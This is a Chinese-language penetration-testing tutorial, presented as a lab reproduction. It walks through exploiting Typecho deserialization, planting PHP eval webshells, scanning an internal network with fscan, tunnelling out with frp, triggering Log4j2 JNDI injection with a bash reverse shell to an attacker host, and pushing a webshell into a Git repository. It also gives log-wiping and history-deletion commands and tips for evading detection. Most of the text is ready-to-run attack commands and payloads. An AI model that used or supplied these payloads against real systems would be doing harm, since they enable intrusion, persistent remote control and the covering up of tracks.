新手也能搞定的多层内网渗透实战:从Typecho反序列化到Git仓库Getshell(附完整靶场复现步骤)
从Typecho反序列化到内网Git仓库新手友好的渗透实战指南当你第一次面对多层内网渗透时是否感到无从下手本文将带你一步步完成从外网Web漏洞利用到内网Git仓库getshell的全过程。不同于传统教程的抽象理论我们会用真实的靶场环境结合具体工具参数和避坑经验让每个步骤都清晰可操作。1. 环境准备与初始信息收集在开始渗透之前确保你已准备好以下环境Kali Linux虚拟机推荐2023.2以上版本两台云服务器建议选择不同区域的VPS以避免IP封锁基础工具集合# 安装必备工具 sudo apt update sudo apt install -y nmap git python3-pip pip3 install requests首先访问目标网站通过简单的信息收集发现这是一个Typecho搭建的博客系统。使用Wappalyzer或手动检查HTTP头可以确认版本信息GET / HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0注意在实际测试中保持请求头自然很重要避免使用明显的扫描工具User-Agent2. Typecho反序列化漏洞利用Typecho 1.1版本存在一个经典的反序列化漏洞我们可以利用它执行系统命令。以下是完整的漏洞利用过程生成Payload 修改以下PHP代码中的system(ls)为你需要执行的命令?php class Typecho_Feed { // ... 完整类定义参考上文原始内容 ... } $exp array(adapter new Typecho_Feed(), prefix typecho_); echo base64_encode(serialize($exp)); ?发送恶意请求curl -X POST http://target.com/install.php \ -d finish1__typecho_configYOUR_BASE64_PAYLOAD写入Webshell 更实用的方法是直接写入一句话木马$this-_params[screenName] file_put_contents(shell.php, ?php eval(\$_POST[cmd]);?);提示如果遇到特殊字符转义问题建议先base64编码再写入例如$cmd base64_encode(?php eval($_POST[cmd]);?); $this-_params[screenName] file_put_contents(shell.php, base64_decode(.$cmd.));3. 内网探测与横向移动获得初始立足点后我们需要探索内网环境查看网络配置# 在已获得的shell中执行 ifconfig cat /etc/hosts使用fscan扫描内网# 下载并运行fscanamd64版本 wget https://github.com/shadow1ng/fscan/releases/download/1.8.1/fscan_amd64 chmod x fscan_amd64 ./fscan_amd64 -h 192.168.0.1/24典型输出结果IP地址开放端口服务信息192.168.0.122,80SSH, HTTP192.168.0.38080Java Web Application搭建代理通道 推荐使用frp进行内网穿透# frpc.ini 配置示例 [common] server_addr your_vps_ip server_port 7000 [web] type tcp local_ip 127.0.0.1 local_port 8080 remote_port 60004. 利用Log4j2漏洞深入内网发现Java应用时Log4j2漏洞是很好的突破口准备JNDI利用工具git clone https://github.com/feihong-cs/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit生成恶意负载# 将反弹shell命令base64编码 echo bash -i /dev/tcp/your_ip/4444 01 | base64 # 启动JNDI服务 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -C bash -c {echo,YOUR_BASE64}|{base64,-d}|{bash,-i} \ -A your_vps_ip触发漏洞 在找到的Java应用登录页面尝试在用户名字段注入${jndi:ldap://your_vps_ip:1389/Exploit}接收反弹shellnc -lvnp 44445. Git仓库getshell技巧在内网中发现Git服务时可以尝试以下方法识别Git仓库结构curl http://192.168.1.3/.git/HEAD利用解析漏洞 许多Git服务会解析.phtml文件# 创建一个恶意.phtml文件 echo ?php system($_GET[cmd]); ? shell.phtml # 提交到仓库 git clone http://192.168.1.3/project.git cd project cp ../shell.phtml . git add shell.phtml git commit -m update docs git push访问webshellhttp://192.168.1.3/project/shell.phtml?cmdid6. 实战中的常见问题与解决方案在实际渗透过程中会遇到各种意外情况。以下是我总结的几个典型问题及解决方法代理连接不稳定使用autossh建立持久连接autossh -M 0 -N -f -L 127.0.0.1:8080:192.168.0.3:8080 userjump_host配置多级代理时建议每跳都使用不同的端口范围工具兼容性问题fscan有多个版本针对不同架构版本适用系统下载地址amd64现代x86_64系统github.com/shadow1ng/fscan/releases386老旧32位系统同上arm64树莓派等设备同上日志清理技巧# 清除web日志 find /var/log/ -name *access* -exec sh -c echo {} \; # 删除历史命令记录 history -c rm ~/.bash_history7. 靶场复现完整流程总结为了帮助理解整个渗透链路以下是完整的步骤流程图外网突破 Typecho反序列化 → 上传Webshell → 获取数据库凭证内网探测 发现192.168.0.0/24网段 → fscan扫描 → 发现Java应用横向移动 利用Log4j2漏洞 → 获取内网shell → 发现新网段192.168.1.0/24权限维持 通过Git仓库getshell → 控制内网服务 → 获取最终flag在实际操作中每个环节都可能遇到各种意外。比如我在测试Git仓库时发现只有特定扩展名才能解析经过多次尝试才确定.phtml可用。另一个常见问题是代理中断导致前功尽弃这时使用tmux或screen保持会话非常重要# 创建持久会话 tmux new -s pentest # 断开后重新连接 tmux attach -t pentest